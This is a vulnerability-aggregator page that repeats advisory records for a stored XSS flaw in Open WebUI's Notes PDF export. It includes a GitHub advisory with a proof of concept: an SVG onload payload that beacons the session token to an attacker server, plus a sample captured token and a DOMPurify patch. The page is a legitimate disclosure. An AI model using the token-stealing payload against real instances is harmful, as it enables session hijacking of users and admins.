Open WebUI vulnerable to Stored DOM XSS via Note 'Download PDF'

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Stored XSS vulnerability was discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF. This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files. This vulnerability is fixed in 0.6.37.

Source published

4 Dec 2025 20:46:36 UTC

Source modified

5 Dec 2025 17:16:56 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Stored XSS vulnerability was discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF. This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files. This vulnerability is fixed in 0.6.37.

Source published

Dec 4, 2025, 8:46:36 PM (timezone not stated)

Source modified

Dec 5, 2025, 5:16:56 PM (timezone not stated)

Observed here

9 Nov 2026 04:08:32 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Stored XSS vulnerability was discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF. This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files. This vulnerability is fixed in 0.6.37.

Source published

4 Dec 2025 21:16:08 UTC

Source modified

18 Oct 2026 15:10:00 UTC

Observed here

25 Oct 2026 03:17:36 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CVSS 3.1 · [email protected] · Primary · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

## Summary A **Stored XSS vulnerability** has been discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to **execute arbitrary JavaScript code** and **steal session tokens** when a victim downloads the note as PDF. This vulnerability can be exploited by **any authenticated user**, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files. ## Details ### Vulnerability Location **File:** `src/lib/components/notes/utils.ts` **Function:** `downloadPdf()` **Vulnerable Code (Line 35):** ```typescript const contentNode = document.createElement('div'); contentNode.innerHTML = html; // Direct assignment without DOMPurify sanitization node.appendChild(contentNode); document.body.appendChild(node); ``` ### Root Cause 1. **Incomplete TipTap Editor Configuration** - Open-WebUI only uses TipTap StarterKit - No Schema definition for dangerous tags like SVG, Script - Unknown HTML tags are stored as raw HTML 2. **Missing Sanitization During PDF Generation** - `note.data.content.html` is directly assigned to `innerHTML` - No DOMPurify or other sanitization - Stored malicious HTML executes as-is ## PoC ### Environment - Open-WebUI latest version (v0.6.36) - Admin account ### Step 1: Create Malicious Markdown File **Filename:** `token_stealer.md` ```markdown <svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg> ``` > navigator.sendBeacon() was used to bypass CORS. ### Step 2: Import to Notes 1. Login to Open-WebUI 2. Click **"Notes"** in the left menu 3. **Drag and drop** the Markdown file 4. Note is automatically created ### Step 3: Trigger PDF Download 1. Access Notes menu (/notes) 2. Click **⋯** on the right side of the uploaded note 3. Select **"Download"** → **"PDF document (.pdf)"** 4. JavaScript executes ### Step 4: Verify Token Theft **Attacker's server log:** ```http POST /steal HTTP/1.1 Host: redacted Content-Type: text/plain;charset=UTF-8 Content-Length: 145 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw ``` ### And Simple PoC `alert(1)` **Filename:** `simple_poc.md` ```markdown <svg onload="alert(1)"></svg> ``` <img width="1089" height="310" alt="image" src="https://github.com/user-attachments/assets/ded7bb4a-d0e0-4614-8d64-3113c1f79e2f" /> --- ## Impact **CVSS 3.1 Score: 8.7 (High)** ``` CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N ``` ### Vulnerability Type **CWE-79: Cross-site Scripting (XSS)** **CWE-116: Improper Encoding or Escaping of Output** ### Affected Users - **All Open-WebUI users** - Especially users utilizing the Notes feature ### Attack Scenario ``` 1. Attacker shares malicious note (.md file) in the community 2. Victim uploads the shared note (.md file) 3. Victim downloads as PDF 4. XSS vulnerability triggers 5. Victim's session (localStorage.token) is stolen ``` --- ## Recommended Patch ```typescript // src/lib/components/notes/utils.ts:35 import DOMPurify from 'dompurify'; const contentNode = document.createElement('div'); // Sanitize with DOMPurify contentNode.innerHTML = DOMPurify.sanitize(html, { ALLOWED_TAGS: [ 'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead', 'tbody', 'tr', 'td', 'th' ], ALLOWED_ATTR: ['href', 'class', 'target'], FORBID_TAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'], FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'], ALLOW_DATA_ATTR: false }); node.appendChild(contentNode); ``` --- ## References - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html - DOMPurify: https://github.com/cure53/DOMPurify ---

Source published

4 Dec 2025 22:03:24 UTC

Source modified

5 Dec 2025 12:36:57 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Publisher rating · HIGH